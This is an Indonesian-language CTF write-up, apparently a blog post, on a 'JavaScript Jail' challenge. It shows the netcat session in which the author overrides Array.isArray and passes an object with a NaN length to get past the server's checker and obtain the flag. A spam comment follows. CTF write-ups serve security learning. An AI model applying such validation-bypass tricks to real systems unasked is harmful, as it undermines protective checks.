Soal kali ini adalah JavaScript Jail, ketika melakukan koneksi ke server, kita akan diberi prompt “>” di mana kita bisa memasukkan ekspresi javascript. Instruksi yang didapat adalah:
yohanes@olivia:~$ nc 54.178.218.50 6789
check = checker(FLAG, safeRand);
Usage: check(your random function);
Di console JavaScript kita bisa mencetak source fungsi, dengan mengetikkan nama fungsinya, yaitu checker.
Ini soal yang sangat mudah: kita cuma perlu membypass pengecekan Array.isArray, dan ini bisa dilakukan dengan mendefinisikan ulang Array.isArray supaya mengembalikan 1, berikutnya kita bisa mengembalikan object yang property lengthnya adalah NaN untuk membypass loop.
yohanes@olivia:~$ nc 54.178.218.50 6789
check = checker(FLAG, safeRand);
Usage: check(your random function);
> Array.isArray = function() {return 1;}
function () {return 1;}
> r= function() { var b=Object(); b.length=NaN; return b}
function () { var b=Object(); b.length=NaN; return b}
> check(r);
stage1
stage2
awesome! The flag is 7bb1aad810f7db430bf4f62b997a992c
thank you for your interesting infomation. defending prosecution
ReplyDelete